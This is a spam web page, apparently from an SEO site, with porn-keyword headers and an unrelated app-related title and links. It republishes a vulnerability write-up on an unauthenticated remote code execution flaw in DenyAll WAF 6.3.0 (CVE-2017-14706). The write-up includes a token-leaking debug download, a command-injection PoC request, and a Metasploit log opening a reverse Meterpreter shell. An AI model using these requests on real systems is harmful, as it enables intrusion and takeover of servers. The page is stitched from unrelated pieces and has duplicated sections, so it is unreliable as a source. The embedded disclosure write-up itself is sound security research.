欧美亚洲综合图区在线|天天射天天干国产成卜|99久久免费国产精精品|国产的欧美一区二区三区|日韩中文字幕无码不卡专区|亚麻成人aV极品一区二区|国产成人AV区一区二区三|成人免费一区二区三区视频网站

當(dāng)前位置:首頁 > APP資源 > 正文內(nèi)容

蜜源app里怎么找漏洞產(chǎn)品(蜜源app里怎么找漏洞產(chǎn)品呢)

APP資源8個月前 (05-25)405

DenyAll WAF算是下一代應(yīng)用安全的基礎(chǔ)產(chǎn)品,它結(jié)合了易于配置的工作流程引擎和管理界面API,具有確保Web應(yīng)用安全的成熟功能,而且包含了主動和被動安全性技術(shù)、關(guān)聯(lián)特征、用戶行為分析和即將升級的rWeb高級安全引擎,能有效保護(hù)Web應(yīng)用程序并最大程度減少誤報。而在本文中,我要展示的是我們團(tuán)隊發(fā)現(xiàn)的DenyAll WAF未授權(quán)RCE遠(yuǎn)程漏洞一枚(CVE-2017-14706)。

漏洞主要信息

遠(yuǎn)程利用: 是

授權(quán)需要: 否

漏洞涉及版本: 6.3.0

漏洞涉及架構(gòu): NodeJS、Kibana、PHP

漏洞涉及產(chǎn)品: DenyAll WAF

CVSSv3 評分: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

發(fā)現(xiàn)日期: 2017.6.30

遠(yuǎn)程利用: 是

授權(quán)需要: 否

漏洞涉及版本: 6.3.0

漏洞涉及架構(gòu): NodeJS、Kibana、PHP

漏洞涉及產(chǎn)品: DenyAll WAF

CVSSv3 評分: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

展開全文

發(fā)現(xiàn)日期: 2017.6.30

一開始,我通過了亞馬遜的在線商城看到了關(guān)于DenyAll WAF的15天免費試用,所以我一步步注冊之后就部署了這個產(chǎn)品。通過SSH key登錄進(jìn)入之后我發(fā)現(xiàn)其管理員接口是NodeJS的架構(gòu),所以首先我在其中查找登錄過程代碼:

var login = function login(req,res,next) { log.debug(); if (!req.body) req.body = {}; var data = { login:req.body.username || req.query.username, pass:req.body.password || req.query.password, readOnly:req.body.readOnly || req.query.readOnly || false, forceConnexion:req.body.forceConnexion || req.query.forceConnexion || true, clientIp: req.ip }; // I OMITTED tHE CODE _xmlApiClient.request(opts, function(err, response) { // I OMITTED tHE CODE },res); };

從以上代碼可知,貌似存在一個內(nèi)部API用于NodeJS進(jìn)行認(rèn)證等操作,為了找到這個API,我繼續(xù)來看_xmlApiClient相關(guān)代碼,而在xmlApiClient.js文件中存在一個有意思的函數(shù):

var xmlApiRequest = function xmlApirequest(opts, callback, res) { // ... CODE OMITTED ... var target = 'https://' + _config.xmlApi.host + ':' + _config.xmlApi.port + '/webservices/index.php?api=' + opts.api + 'function=' + opts.func; // ... CODE OMITTED ... };

然后,我們開始收集更多關(guān)于該產(chǎn)品的有用信息,找到了其中的PHP API,其中還包括了來自配置文件的端口(3001)和主機(127.0.0.1)的變量:

"xmlApi": { "host": "127.0.0.1", "port": "3001", "guiVersionFile":"/etc/version.txt", "nodeId": null, "tcpTimeout":1000, "httpTimeout":300000 },

再對部署了DenyAll WAF的主機進(jìn)行netstat監(jiān)聽后發(fā)現(xiàn),其中的本機綁定端口監(jiān)聽列表中,竟然沒有端口3001!

~ netstat -tnlp |grep -v '127\|::' Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 172.31.11.218:2222 0.0.0.0:* LISTEN - tcp 0 0 172.31.11.218:22 0.0.0.0:* LISTEN - tcp 0 0 172.31.11.218:3001 0.0.0.0:* LISTEN 3866/actrld tcp 0 0 172.31.11.218:3002 0.0.0.0:* LISTEN - 對PHP后端的濫用

在PHP服務(wù)端/webservices/download/index.php中也存在一段有意思的代碼:

if($_REQUEST['typeOf']!='kdbImages' $_REQUEST['typeOf']!='debug'){ //validation jeton if(isset($_REQUEST['iToken'])){ if($local-getIToken()!=$_REQUEST['iToken']){ header('HTTP/1.1 403 Forbidden'); exit(-1); } }else{ if(isset($_REQUEST['tokenId'])){ if(!API_validUid($_REQUEST['tokenId'])){ header('HTTP/1.1 403 Forbidden'); exit(-2); } $session = loadClass('sessions'); if($session-searchUid($_REQUEST['tokenId'])===false){ header('HTTP/1.1 403 Forbidden'); exit(-3); }else{ if(!isset($_REQUEST['forceNoRefresh'])){ $session-refreshTimeSession($_REQUEST['tokenId']); $session-save(); } unset($session); } }else{ header('HTTP/1.1 403 Forbidden'); exit(-2); } } }

從以上這段代碼可以看出,如果typeOf參數(shù)不是kdbImages或debug時,整個認(rèn)證機制都將被繞過!

另外,從另外一段中還可發(fā)現(xiàn),其中存在一個可被下載的debug.dat,而debug.dat中可能包含一些重要信息:

case 'debug' : $norealpath=false; $removeSrc=true; $compress=false; $removeDst=false; $autoDownload=true; if(!isset($_REQUEST['applianceUid'])){ debug("download debug sans applianceUid"); exit; } $applianceUid=$_REQUEST['applianceUid']; $src=downloadFile('debugInternal',$applianceUid,'debug.dat'); $dst=$src=realpath($src); $fileNameDownload=basename($src); if(!is_readable($src)) exit; break;

而經(jīng)過抓包測試,以下過程為debug.dat的下載請求連接流:

蜜源app里怎么找漏洞產(chǎn)品(蜜源app里怎么找漏洞產(chǎn)品呢)

GET /webservices/download/index.php?applianceUid=LOCALUIDtypeOf=debug HTTP/1.1 Host: 52.28.216.170:3001 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: application/x-www-form-urlencoded Content-Length: 4 RESPONSE HTTP/1.1 200 OK Date: Fri, 30 Jun 2017 17:30:12 GMT Server: Apache Content-disposition: attachment; filename="debug.dat" Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Content-Length: 697 Pragma: public Content-Type: application/vnd.nokia.n-gage.data Internal error 2017-06-30 17:30:12 (UTC) a:3:{s:6:"typeOf";s:13:"debugInternal";s:4:"file";s:9:"debug.dat";s:6:"iToken";s:32:"y760e0299ba6fc1a2739df5a8f64fc5a";} 2 Alerte touch(): Unable to create file /var/tmp/debug/ because Is a directory /var/denyall/www-root/wsSource/class/filesClass.php 18 1280

其中的關(guān)鍵信息就是iToken,它用于DenyAll WAF應(yīng)用的認(rèn)證,所以這個關(guān)鍵的泄露給了我們進(jìn)一步挖掘的欲望。

命令注入

其實,DenyAll WAF中存在多處命令注入,其中一處為/webservices/stream/tail.php,以下是其中的一段代碼:

if(isset($_REQUEST['iToken'])){ if($local-getIToken()!=$_REQUEST['iToken']){ exitPrint(t_("Bad key, authentication on slave streaming server failed")); } }else{ exitPrint(t_("Authentication on slave streaming server failed")); } if(isset($_REQUEST['tag']) $_REQUEST['tag']!=''){ // on doit chercher le bon fichier if(isset($_REQUEST['stime'])$_REQUEST['stime']!=''){ // Start time version tailDateFile(); }else{ // dernier fichier ouvert if($_REQUEST['tag']=='tunnel') $_REQUEST['file']=basename(shell_run("ls -1t ".__RP_LOG__."*/".$_REQUEST['uid']."/*-".$_REQUEST['type'].".log| head -n1 2/dev/null")); else $_REQUEST['file']=$_REQUEST['uid'].'-'.$_REQUEST['type'].'.log'; } }

在iToken可被泄露的情況下,這里又出現(xiàn)了另一個函數(shù)tailDateFile(),以下是其具體代碼:

function tailDateFile(){ global $_REQUEST; $stime=(int)($_REQUEST['stime']/1000); $tag=$_REQUEST['tag']; $uid=$_REQUEST['uid']; $type=$_REQUEST['type']; // access or error chdir(__RP_LOG__); if($tag=='tunnel'){ // reverse proxy $files=shell_run("ls -1 */$uid/*-$type-*.log 2/dev/null|sort")."\n"; // avec date trié au début $files.=shell_run("ls -1t */$uid/*-$type.log 2/dev/null"); // courant trié par utilisation }else{ $files=shell_run("ls -1 $uid-$type*-log 2/dev/null|sort")."\n"; $files.=shell_run("ls -1t $uid-$type.log 2/dev/null"); } // .. CODE OMITTED .. }

從以上代碼可以看到,$uid參數(shù)可被控制,而且它還是shell_run()函數(shù)變量的一部分。結(jié)合上述提及的這兩方面問題,我們就能實現(xiàn)未授權(quán)命令注入漏洞。

PoC

通過HTTP請求觸發(fā)遠(yuǎn)程RCE實現(xiàn):

GET /webservices/stream/tail.php?iToken=y760e0299ba6fc1a2739df5a8f64fc5atag=tunnelstime=aaatype=aaa$(sleep%2030") HTTP/1.1 Host: 52.28.216.170:3001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: connect.sid=s%3AWGBO5SaeECriIG8z4SMjwilZgl7SM0ej.0hGC0CcXrwnoJLb4YucLi8lbr%2FC8f2TNIicG4EmFLFU Connection: close Upgrade-Insecure-Requests: 1 Metasploit反彈控制模塊

https://github.com/rapid7/metasploit-framework/pull/8980

msfexploit(denyall_exec) set RHOST 35.176.123.128 RHOST = 35.176.123.128 msfexploit(denyall_exec) set LHOST 35.12.3.3 LHOST = 35.12.3.3 msfexploit(denyall_exec) check [*]35.176.123.128:3001 The target appears to be vulnerable. msfexploit(denyall_exec) exploit [-]Handler failed to bind to 35.12.3.3:4444:- - [*]Started reverse TCP handler on 0.0.0.0:4444 [*]Extracting iToken value from unauthenticated accessible endpoint. [+]Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a [*]Trigerring command injection vulnerability with iToken value. [*]Sending stage (40411 bytes) to 127.0.0.1 [*]Meterpreter session 1 opened (127.0.0.1:4444 - 127.0.0.1:60556) at 2017-09-19 14:31:52 +0300 meterpreter pwd /var/log/denyall/reverseproxy meterpreter exit [*]Shutting down Meterpreter... [*]172.31.11.218 - Meterpreter session 1 closed. Reason: User exit msfexploit(denyall_exec) exit ? ~exit 漏洞報送時間線

2017.6.30 21:33 發(fā)現(xiàn)漏洞

2017.6.30 22:37 DenyAll CTO與我們?nèi)〉寐?lián)系

2017.9.19 DenyAll發(fā)布更新版本

2017.6.30 21:33 發(fā)現(xiàn)漏洞

2017.6.30 22:37 DenyAll CTO與我們?nèi)〉寐?lián)系

2017.9.19 DenyAll發(fā)布更新版本

*參考來源:pentest,freebuf小編clouds編譯,轉(zhuǎn)載請注明來自FreeBuf.COM

掃描二維碼推送至手機訪問。

版權(quán)聲明:本文由飛速云SEO網(wǎng)絡(luò)優(yōu)化推廣發(fā)布,如需轉(zhuǎn)載請注明出處。

本文鏈接:http://www.landcheck.net/post/115961.html

“蜜源app里怎么找漏洞產(chǎn)品(蜜源app里怎么找漏洞產(chǎn)品呢)” 的相關(guān)文章

武漢app定制開發(fā)公司(武漢app定制開發(fā)公司怎么樣)

武漢app定制開發(fā)公司(武漢app定制開發(fā)公司怎么樣)

1華盛恒輝科技有限公司 上榜理由華盛恒輝是一家專注于高端軟件定制開發(fā)服務(wù)和高端建設(shè)的服務(wù)機構(gòu),致力于為企業(yè)提供全面系統(tǒng)的開發(fā)制作方案在開發(fā)建設(shè)到運營推廣領(lǐng)域擁有豐富經(jīng)驗,在教育,醫(yī)療,APP,管理,商城,人工。 三整體評估選擇開發(fā)公司,一定要進(jìn)行整體評估,一是評估自身,二是評估對方四跟進(jìn)速度好的AP...

keepappcancel的簡單介紹

keepappcancel的簡單介紹

大部分的健身app提供健身訓(xùn)練計劃教練課程分享打卡社區(qū)等功能,一些健身軟件還提供記錄體重變化和飲食習(xí)慣分析等功能下面為大家提供了幾款方便實用的健身app,一起來看看吧!1KeepappKeep是一款目前非常受歡迎的移動健身指導(dǎo)健身應(yīng)用,是。 根據(jù)查詢百度經(jīng)驗得知,如果您不想繼續(xù)使用keep的會員服務(wù)...

做企業(yè)規(guī)劃的app(做企業(yè)規(guī)劃的步驟有哪些)

做企業(yè)規(guī)劃的app(做企業(yè)規(guī)劃的步驟有哪些)

十大室內(nèi)設(shè)計培訓(xùn)機構(gòu)排行榜 現(xiàn)在室內(nèi)設(shè)計的門檻越來越低,越來越考驗設(shè)計師的能力,想要讓自己的技術(shù)精益求精,想在預(yù)計的時間內(nèi)學(xué)到真本領(lǐng),則選擇去正規(guī)學(xué)校進(jìn)行專業(yè)的學(xué)習(xí)。因為專業(yè)的室內(nèi)培訓(xùn)學(xué)??梢越o學(xué)員進(jìn)行更加正規(guī)的培訓(xùn),比如杭州清風(fēng)室內(nèi)設(shè)計培訓(xùn)學(xué)院,專攻室內(nèi)設(shè)計一門專業(yè),老師都是股份責(zé)任制,培訓(xùn)班進(jìn)行...

快手app成人短視頻(快手app成人短視頻怎么下載)

快手app成人短視頻(快手app成人短視頻怎么下載)

1、首先,打開快手應(yīng)用,然后點擊右下角的“我的”按鈕在個人主頁上方會出現(xiàn)一個“青少年模式”的選項,點擊進(jìn)入在青少年模式頁面上,你需要進(jìn)行實名認(rèn)證以證明你已經(jīng)滿足使用成年版的條件完成實名認(rèn)證后,你可以點擊頁面上的。 2、快手成年版可以通過以下步驟打開1 打開快手App首先,在手機上找到并打開已經(jīng)安裝好...

杭州定制開發(fā)app案例(杭州定制開發(fā)app案例分析)

杭州定制開發(fā)app案例(杭州定制開發(fā)app案例分析)

2你想要開發(fā)的類型是否是開發(fā)公司的強項 再牛的APP開發(fā)公司不可能什么類型什么行業(yè)的APP都開發(fā)過,一般比較好的APP開發(fā)公司都有強項,也就是說擅長開發(fā)某一個或者哪幾個行業(yè)的APP,并且有高質(zhì)量的開發(fā)案例所以找APP開發(fā);開發(fā)一個App的費用因多種因素而異,一般來說,定制開發(fā)的App價格會比較高根據(jù)...

做個手機購物app的費用大概多少(做個手機購物app的費用大概多少呢)

做個手機購物app的費用大概多少(做個手機購物app的費用大概多少呢)

1、根據(jù)2019年12月的最新數(shù)據(jù),開發(fā)一個app大概需要幾萬到幾百萬不等開發(fā)一個安卓app軟件,需要考慮因素很多如果是一款功能簡單不是很全面,客戶幾乎沒有什么要求的APP,只需要讓美工對前臺ui頁面進(jìn)行一定程度的修改,最短一;做一個手機購物APP要多少錢 做一個購物類型的APP大概需要多少錢,一年...